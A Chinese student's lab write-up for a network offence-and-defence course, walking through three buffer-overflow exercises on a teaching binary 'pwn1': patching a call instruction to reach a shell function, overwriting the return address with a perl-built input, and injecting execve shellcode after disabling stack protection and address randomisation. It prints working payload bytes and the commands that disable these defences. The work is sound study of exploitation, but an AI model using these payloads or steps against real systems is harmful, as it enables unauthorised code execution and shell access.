2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

时间:2022-04-22 16:25:23

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验)

实验有三个模块:

(一)直接修改程序机器指令,改变程序执行流程;

(二)通过构造输入参数,造成BOF攻击,改变程序执行流;

(三)注入Shellcode并执行;


回答一下老师的问题

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:90

  • JNE:75

  • JE:74

  • JMP:E9(JMP immed16)EA(JMP immed32)EB(JMP immed8)

  • CMP:38(CMP reg8/mem8,reg8)39(CMP reg16/mem16,reg16)3A(CMP reg8,reg8/mem8)3B(CMP reg16,reg16/mem16)3C(CMP al,immed8)3D(CMP ax,immed16)

什么是漏洞?漏洞有什么危害?

我觉得漏洞就是程序存在的设计上(或者说逻辑上、物理上)的缺陷,攻击者可以加以利用,干一些非法的事情.........

危害:我觉得存在漏洞的程序系统肯定是不可靠的,可用性和保密性可能被破坏。


(好了我开始bb了)

这三个实验都是“我攻我自己”也就是在本机一台虚拟机完成,以此来帮助我们理解BOF攻击的,最终的效果都是获取主机的shell(实际上你会发现这三个部分是一环扣一环递推的)。

首先你需要一个pwn1文件,我打包了自己的文件在这里:https://files.cnblogs.com/files/maxeysblog/pwn1.zip ,我当时发现这个pwn1文件在网上很难找,这个是后来从老师那里拿到的。

然后你需要一台虚拟机(操作系统kali)。

当你拿到这个文件以后,放在你的虚拟机里面,你会发现他可能不是可执行文件(没有高亮):

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

如果你直接执行是不行的,权限不够,他会告诉你:

bash: ./pwn1: 权限不够

解决办法:chmod +x pwn1即可,执行之后文件变成高亮:

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

如果还是运行不了可能就是缺32位的库,建议安装:

lib32ncurses5
lib32tinfo5
libc6-i386

这个可能稍微有变动,比如说版本更新之后,你要安装的就是6而不是5,视情况而定。

那么我们开始吧。

一、直接修改程序机器指令,改变程序执行流程

第一个实验实际上就是:在main函数对子函数foo调用的时候,修改call指令跳转的地址,使其跳转到子函数shellcode处进行执行,从而达到获取shell的目的。

首先:objdump -d pwn1,反汇编pwn1文件。

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

反汇编结束后你发现:main函数里面有一步call 804891<foo>,机器码指令为e8 d7 ff ff ff(call的机器码就是e8,后面是地址)。

进一步分析:08048491是,0804847d是我们的跳转目标。

0x08048491 - 0x0804847d = 0x00000014  //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要篡改的目标地址

(小端机器)

接着使用命令vi pwn1修改文件。

进入之后是乱码,使用:%!xxd转换为16进制显示。

使用/d7命令寻找e8d7ffffff机器指令所在地。

找到以后按i进入插入模式,修改d7为c3。

然后使用:%!xxd -r换回乱码的样子(不换回去会出问题),再用:wq保存即可。

这时如果再次objdump -d pwn1你能看到pwn1文件已经改了:

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

执行./pwn1文件可以成功获取shell:(我做实验时拷贝了一个pwn1,修改前后执行效果明显不同)

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

至此第一个实验成功。

二、通过构造输入参数,造成BOF攻击,改变程序执行流

缓冲区溢出攻击,即BOF攻击。简单的说就是不合法的输入把子函数的返回地址覆盖掉了,通过这种方式修改函数的返回地址,使程序代码执行“意外”的流程。

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

如果你觉得自己对缓冲区了解不够,可以看看这个比较基础的:https://blog.csdn.net/beyond_2016/article/details/81316801

然而攻击过程中,被篡改的返回地址不能准确指向shellcode的起始地址,那么攻击仍然会失败,shell会反馈说段错误(就是你跳的地方不对,shell不认识)。

所以我们先来确定返回地址该写啥。

使用gdb命令,file pwn1载入pwn1文件。

输入r执行pwn1,这时程序正常执行,在foo子函数调用的过程中,需要我们输入一个字符串(在你输入完毕以后foo会自动输出这个字符串)。

输入36个字符后回车:abcdefghijklmnopqrstuvwxyz1234567890(我不知道缓冲区多大诶,网上查资料也没找到,我只能这样先试一试,望各位大佬指点)

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

这时候已经发生段错误:Segmentation fault,你能看见图中:0x30393837 in ?? (),也就是说他不认识跳转的地址0x30393837是啥。

本次实验用的是小端机器,30、39、38、37分别是0、9、8、7对应的ASCII码,那么也就是说最后4位刚好完成溢出,覆盖掉返回地址了。

那我们只需要把最后四位写为\xd7\x84\x04\x08(shellcode的起始地址0x080484d7)就行了。

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

很显然这样直接花里胡哨是不行的,我们需要使用perl语句,用管道的方式把上一个命令的结果作为下一个的输入。

使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

Perl -e:用于在命令行而不是在脚本中执行 Perl 命令;“|”管道:将第一条命令的结果作为第二条命令的参数来使用;

(多余的我也不会了)

可以使用xxd input查看input文件的内容。

攻击成功以后:

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

三、注入Shellcode并执行

注入shellcode的意思是shellcode在输入的时候被放入堆栈了,那么在堆栈里面就有机会把返回地址指向shellcode,实现攻击。

但是目前很多操作系统都有数据执行保护的,也就是DEP,这项保护将禁止非法程序在堆栈执行。

所以一开始先要设置堆栈可执行:

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行

堆栈可执行的话结果是X pwn1;(没有这个命令就apt-get install execstack

另外,如果一开始没有关闭地址随机化,每一次操作esp的地址都会变化,因此实验的关键就是要关闭地址随机化。

使用echo "0" > /proc/sys/kernel/randomize_va_space关闭。

整个过程中我们需要注入一段代码,和实验二里面使用的perl类似,我们首先构造一个input_shellcode:

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

首先在一个窗口运行(cat input_shellcode;cat) | ./pwn1

在另外一个窗口ps -ef | grep pwn能看见当前运行pwn1的进程号;

在gdb里面attach 进程号进行调试如图:

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

(gdb) disassemble foo反编译;

设置断点:

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

(不好意思上面这个Quit输错了没啥用)

命中以后查看esp:

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

esp后4个字节就是我们要找的returnaddr;

0xffffd31c + 0x00000004 = 0xffffd320

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

成功。


遇到的问题

有一个错我一直不知道为什么:

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

时不时会有这个报错:说我语法有问题。

正确命令是x/16x 我特么就是个白痴。。。。。。。


总结两句(发点牢骚)

可能是我脸黑,但是我感觉做这个实验真的好坎坷.....有什么问题还望各位看官指点。

实际上我觉得自己对BOF理解还是不够,最后一个实验为什么要看esp的值(这个问题可能是之前课程没学好,不能理解esp在程序执行时候的作用)?为什么加4位就可以了?如果这样就可以直接找到shellcode起始位置了,那设置nops的意义何在呢?

还有就是为什么第二个实验中,输入32位以后就会覆盖返回地址?这个32位是怎么知道的呢?猜吗?

脑阔痛....

2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

望大佬们解答。


【更新】

好的,上面几个问题老师上课都讲了。

首先第三个实验为什么要看esp的值:

命中断点以后,实际上函数已经结束,esp的值返回到原来被压栈的main函数的ebp的值。

也就是说返回地址esp后面4位开始就是注入的shellcode了,可以直接找到shellcode起始位置了。

(然而已经这样精确计算到位置了,我认为没有nop段其实也可以成功的)

为什么第二个实验中,输入32位以后就会覆盖返回地址?

反汇编以后找到foo,看见分配了0x1c字节空间。

简单计算一下就知道了:0x1c换成十进制是28,加4位返回地址就是32位了。